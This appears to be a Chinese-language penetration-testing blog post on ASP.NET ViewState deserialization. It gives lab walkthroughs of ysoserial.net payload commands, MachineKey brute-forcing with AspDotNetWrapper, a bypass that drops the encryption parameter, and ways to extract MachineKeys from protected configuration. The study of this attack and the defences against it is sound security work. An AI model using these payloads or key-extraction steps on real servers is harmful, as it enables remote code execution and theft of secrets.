之前的渗透项目中,遇到过一些 IIS 站点,果不其然的都用了 VIEWSTATE,但是当时对 .NET 反序列化了解不够深入,没能利用成功,借这个机会系统学习一下 .NET 反序列化相关知识,做成一些记录。
这里借来一张图:
这里通俗的解释一下:
http 协议是无状态协议,每次请求之间都是独立的,为了让客户端和服务端之间能够相互“识别”(主要是服务端对客户端的“识别”),web 应用时常会采用诸如 cookie 或类似的机制来维护一个 session ,比如服务端保存 session 的状态信息,客户端通过 cookie 等标识来告诉服务端它对应的是哪个 session。
ViewState 也是一种状态管理机制,只不过它的做法是在服务端将“session 状态”“序列化”,然后返回,交给客户端来保存了。具体的表现形式是:一次请求之后,服务端的返回中嵌入若干个隐藏的表单项,这些表单项的值序列化后的“session 状态”,在客户端下一次请求时,会自动带上这些表单项,服务端接收之后,反序列化对应的值就能恢复相应的“session 状态”,根据状态的不同,再做出相应的回应。
ViewState 的优点就在于,节省了服务端对于保存和管理 session 状态的成本,不过却带来另一个问题是 ViewState 的“控制权”移交到了客户端这里,虽然有校验和加密机制,但是仍然存在密钥泄漏的风险,一旦通过了解密和验证,就会进入反序列化的流程,也就存在被恶意利用的风险。
我们可以在 web.config 中控制是否启用 ViewState
<pages
enableViewState="false" [Bool]
enableViewStateMac="false" [Bool]
viewStateEncryptionMode="Always" [Always | Auto | Never]
/>
上面说到了 ViewState 有校验和加密机制, MACHINEKEY 便是其加密、校验密钥相关的配置项。
<machineKey
validationKey="AutoGenerate,IsolateApps" [String]
decryptionKey="AutoGenerate,IsolateApps" [String]
validation="HMACSHA256" [SHA1 | MD5 | 3DES | AES | HMACSHA256 |
HMACSHA384 | HMACSHA512 | alg:algorithm_name]
decryption="Auto" [Auto | DES | 3DES | AES | alg:algorithm_name]
/>
ViewState 加密、校验的详细流程,已经有师傅做过非常深的研究,接下来将以这篇引文的研究成果作为根据来总结分析:
文章链接:https://paper.seebug.org/1386/
(文章非常详细深刻,如果对 ViewState 反序列化漏洞成因感兴趣的,建议阅读全文)
引文中有几个要点:
ViewState 是被动解析的,也就是说,即使在 web.config 中配置 enableViewState 为 false,ASP.NET 服务端也始终会解析来自客户端的 ViewState 参数,换言之,enableViewState 只影响 ViewState 的生成,不影响服务端对其的被动解析;
.NET Framwork 4.5.2 之后,微软强制开启了 ViewState Mac 校验,这样在默认情况下,就一定需要 MachineKey 才能对 ViewState 进行利用;
引文的精华是针对 ViewState 序列化、反序列化流程的详细分析,ViewState 的序列化和反序列化通过 ObjectStateFormatter 进行,在此用简陋的流程图对这一部分总结:
序列化:
辅以文字描述:
EncryptOrDecryptData() 为加密、解密函数,当配置文件中开启 viewStateEncryptionMode 选项时,会进入该函数。
GetEncodeData() 为签名函数,因为 KB2905247 补丁的关系,默认强制开启 ViewState MAC,这里有两种方法可以关闭:1. 修改对应的注册表项;2. 在 web.config 中开启允许不安全的反序列化。关闭 EnforceViewStateMac 的基础上,web.config 中 enableViewStataeMac 才能生效。
值得注意的是 EncryptOrDecryptData() 不仅会加密,同时也会签名。
反序列化:
文字描述:
_page.EnableViewStateMac 值的确定与上面的反序列化中介绍的相同,故在此图中省略,仍是受 EnforceViewStateMac 影响。
ASP.NET 判断 ViewState 是否加密的条件是请求中是否有 "__VIEWSTATEENCRYPTED" 项,某些情况下我们可以利用这一点来绕过加密。
具体算法并不是本文关注的重点,但是还是提取引文中的部分要点来作为知识点码一下:
GetEncodedData() 签名函数,将数据签名并将签名数据放到原数据的尾部;特殊的,如果制定签名算法为 3DES 或 AES,还会再调用一个 EncryptOrDecryptData() 的重载,进行加密。
EncryptOrDecryptData() 加、解密函数,但是同时还会做签名,最终的结果是:* E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) *结果在返回结果的 VIEWSTATE 字段中,而 modifier 在返回结果的 VIEWSTATEGENERATOR 中
GetDecodedData() 校验函数,跟 GetEncodedData() 相反。
modifier 来自于 GetMacKeyModifier() 函数:
如果有 viewStateUserKey,则 modifier = pageHashCode + ViewStateUsereKey;
如果没有 viewStateUserKey,则 modifier = pageHashCode;
ViewStateUsereKey 是一个随机字符串值,且与用户有某种关联。
上面说了对于 ViewState 的“保护”包括:校验、加密,针对不同的组合,有不同的策略
测试环境:window server 2016
因为这里更多的是测试 VIEWSTATE 反序列化的效果,所以为了方便测试以及更直观地展示结果,这里我把 IIS 的应用程序池权提高到 local system,方法如下:
上文提到了,微软现在默认强制开启 ViewState MAC ,所以要在配置文件中将该项关掉,当然修改注册表项可以达到同样的效果:
方法1: 在 web.config 中添加:
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
方法2: 修改注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}\AspNetEnforceViewStateMac 的值为 0
之后再借用一个简单文件上传的 web 应用页面来进行测试:
然后测试环境就搭建好了。
以下测试部分参考了:https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter
这篇文章有比较清晰的测试思路,并且提供了一个可以用来爆破枚举 MachineKey 的工具。
https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper
web.config 配置启用 ViewState,但是不启用 Mac 验证和加密
<configuration>
<system.web>
<pages
enableViewState="true"
enableViewStateMac="false"
viewStateEncryptionMode="Never"
/>
<customErrors mode="Off"/>
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
此时去访问对应的页面,会发现页面返回了一些隐藏的表单项,其中 __VIEWSTATE 项为序列化后的值,也就是我们利用的目标。
burpsuite 自带解析 ViewState 的功能,从 reponse 中能看到对应的信息,同时也会提示当前 ViewState 的状态(是否开启 MAC 或者 是否加密),如当前页面的 ViewState 没有开启 MAC
对于没有任何保护的 ViewState ,可以直接使用 ysoserial.net 来生成 payload
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo test1 > C:\temptest\test1.txt"
再构造一个正常的请求,将其中的 __VIEWSTATE 字段替换为生成的 payload:
页面返回 500 ,检查命令执行是否成功
执行成功
如果开启签名,那么服务端返回的数据就会在尾部带有校验信息,在不知道 MachineKey 的情况下,我们无法使我们的 paylaod 通过校验,也就无法触发反序列化,除非利用别的方法得到了 MachineKey,那么就得通过爆破枚举的方式来得到。
利用上文提到的工具 AspDotNetWrapper 来爆破 MachineKey,为了验证它的效果,这里在配置的时候挑选一个已经在字典中的 MachineKey 来进行测试。(这里仅为验证工具效果,真实环境中往往很难爆破到 MachineKey)
web.config:
<configuration>
<system.web>
<pages
enableViewState="true"
enableViewStateMac="true"
viewStateEncryptionMode="Never"
/>
<customErrors mode="Off"/>
<machineKey
validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"
validation="SHA1"
decryption="AES"
/>
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
此时再去访问页面,burpsuite 已经提示 ViewState 开启了MAC 校验
接着来试一下爆破的 MachineKey 的效果:
返回的 ViewState:
交给程序来跑:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUJMjM0MDYzMjM2D2QWAgIDDxYCHgdlbmN0eXBlBRNtdWx0aXBhcnQvZm9ybS1kYXRhFgICAQ8PFgIeBFRleHQFE0M6XGluZXRwdWJcd3d3cm9vdFxkZGR1W+BiwusT65xqg+ZK+LsGaACy1w== --decrypt --purpose=ViewState --modifier=69164837 --macdecode
程序通过枚举,得到了 MachineKey。
然后 ysoserial 生成对应的 payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test2 > C:\temptest\test2.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
验证结果:
执行成功
上文提到过 EncryptOrDecryptData() 函数也会进行校验,所以对于开启了加密的 ViewState,那么他一定也是进行了校验的。
遗憾的是,AspDotNetWrapper 无法爆破 .NET Framwork < 4.5 下加密的 ViewState。
不过上文还说到,ASP.NET 是根据请求头中是否包含 __VIEWSTATEENCRYPTED 项来判断是否加密的,那么如果我们请求时不带这个参数,ASP.NET 也就不会尝试去解密。这时如果我们已知 MachineKey(暂时我们没办法通过爆破来获取,仅能通过别的途径拿到),可以在构造 paylaod 时不考虑加密。
web.config 开启加密
<configuration>
<system.web>
<pages
enableViewState="true"
enableViewStateMac="true"
viewStateEncryptionMode="Always"
/>
<customErrors mode="Off"/>
<machineKey
validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"
validation="SHA1"
decryption="AES"
/>
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
此时再去访问页面,burpsuite 提示 ViewState 被加密了
假设我们已经知道了 MachineKey(事实上我们一直都知道),只利用 validationkey,不管加密地去构造 payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test3 > C:\temptest\test3.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
然后在构造的 POST 请求中删除 __VIEWSTATEENCRYPTED 参数。
验证结果:
执行成功
如果使用 .NET Framwork 4.5 以上的加密方法,在实验过程中发现已经无法像 testCase3 中那样删除 __VIEWSTATEENCRYPTED 来绕过加密验证了,不过 AspDotNetWrapper 却支持这种情况下的 MachineKey 爆破
(测试环境下,可以通过设置 MachineKey 的兼容性参数,来强制使用 4.5 以上的加密方法)
web.config
<configuration>
<system.web>
<pages
enableViewState="true"
enableViewStateMac="true"
viewStateEncryptionMode="Always"
/>
<customErrors mode="Off"/>
<machineKey
validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"
validation="SHA1"
decryption="AES"
compatibilityMode="Framework45"
/>
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
尝试使用爆破 MachineKey:
页面返回的 ViewState 相关表单:
爆破 MachineKey
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata A8e/FkDU5napMoKJ/CkyFhmPlosC4OmRfeFCcBV0q1LN//avhGcA7Vr/utvWc4Y3A/5tnJjeA3rbFf8SLPFDuuP++lbLTsPIYjryerxt6iR9qYwdYc5h7+Qldb37uY13L0UDmYE+k2TuOdL2Pixjy450o8uj13ebUbNHQCh5Ak+b1IB8 --decrypt --purpose=ViewState --IISDirPath "/" --TargetPagePath "/upload.aspx"
然后再使用 ysoserial.net 生成 payload,来验证我们这种情况下能否利用成功。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test4 > C:\temptest\test4.txt" --apppath="/" --path="/upload.aspx" --decryptionalg="AES" --decryptionkey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4" --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
验证结果:
执行成功
上面说了这么多,得到一个中心思想,如果网站一定要使用 ViewState 作为状态控制的话,除了要开启验证和加密以外,还要格外注意保护好 MachineKey ,或者说注意保护好配置文件如 web.config。
比如,如果站点还存在其他漏洞如文件包含、任意文件读取等,那么 web.config 的内容存在泄漏的风险,参考 HITCON CTF 2018 - Why so Serials? 中的情景。
不过 ASP.NET 提供了一种辅助机制,可以用来加密 web.config,包括加密其中的 MachineKey 字段等。
摘自官方介绍的一段话:
.NET Framework 包括两个受保护的配置提供程序,可用于对配置文件中的节进行加密。RsaProtectedConfigurationProvider类使用 RSACryptoServiceProvider 来加密配置节。DpapiProtectedConfigurationProvider类使用 Windows 数据保护 API (DPAPI)来加密配置节。
可能要求使用 RSA 或 DPAPI 提供程序以外的算法来加密敏感信息。在这种情况下,您可以生成自己的自定义受保护的配置提供程序。ProtectedConfigurationProvider是一个抽象基类,你必须从继承该类以创建你自己的受保护配置提供程序。
我们可以使用现成的加密方法来对配置进行加密,甚至可以自己来写一个独有的加密算法。
官方介绍:
https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)
https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0
以 RsaProtectedConfigurationProvider 为例,对 web 应用程序配置文件进行加密大概分为以下流程(仅供参考):
创建 RSA key container(machine-level):
aspnet_regiis -pc "SampleKeys" –exp
将 key container 的访问权限赋给 web 应用的“所有者”
aspnet_regiis -pa "SampleKeys" "NT AUTHORITY\NETWORK SERVICE"
使用 key container 对指定的配置文件中的节加密(如果没有用 -prov 指定 provider 则默认为 RsaProtectedConfigurationProvider)
aspnet_regiis -pe "connectionStrings" -app "/MyApplication"
官方文档的介绍中,还有一些点值得关注:
key container 可以被导入、导出、删除、转移,只要保证使用的算法标准相同,key container 和 已加密的配置文件就可以一起迁移到另一台机器上;
Protected Configuration 的意义在于保护配置文件中的敏感信息不以明文直接保存,但是当应用程序实例被创建时,解密后的配置文件信息还是会被装载到内存中,可以保证被 ASP.NET 程序读取。
这种保护措施一定程度上提高了 web 应用对于外部入侵的防护能力,不过攻击者还可能从从另外的途径进入,那么仍然可以利用上面提到的特性破解
大致有三种方式:
导出 key container
aspnet_regiis -px "SampleKeys" keys.xml -pri
导入 key container 到另一台计算机
aspnet_regiis -pi "SampleKeys" keys.xml
拷贝待解密的配置文件到本地的 web 目录,然后进行解密
aspnet_regiis -pd "connectionStrings" -app "/TempApplication"
在一个可以解析 asp.net 应用程序的位置,或者在对应的 web 目录下写入一个 asp、aspx 脚本,脚本的内容为读取相关配置参数,也可以直接读出相应的配置,以官方提供的脚本为例:
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Configuration" %>
<%@ Import Namespace="System.Web.Configuration" %>
<script runat="server">
Public Sub Page_Load()
ConnectionStringsGrid.DataSource = ConfigurationManager.ConnectionStrings
ConnectionStringsGrid.DataBind()
Dim config As System.Configuration.Configuration = _
WebConfigurationManager.OpenWebConfiguration(Request.ApplicationPath)
Dim key As MachineKeySection = _
CType(config.GetSection("system.web/machineKey"), MachineKeySection)
DecryptionKey.Text = key.DecryptionKey
ValidationKey.Text = key.ValidationKey
End Sub
</script>
<html>
<body>
<form runat="server">
<asp:GridView runat="server" CellPadding="4" id="ConnectionStringsGrid" />
<P>
MachineKey.DecryptionKey = <asp:Label runat="Server" id="DecryptionKey" /><BR>
MachineKey.ValidationKey = <asp:Label runat="Server" id="ValidationKey" />
</form>
</body>
</html>
参考自:https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)
使用 procdump 等 dump 对应进程的内存,从内存中找到我们想要的字段的值,这里就不做展示了。
本文中提到或引用的文章参考链接:
https://paper.seebug.org/1386/ https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100) https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0 https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)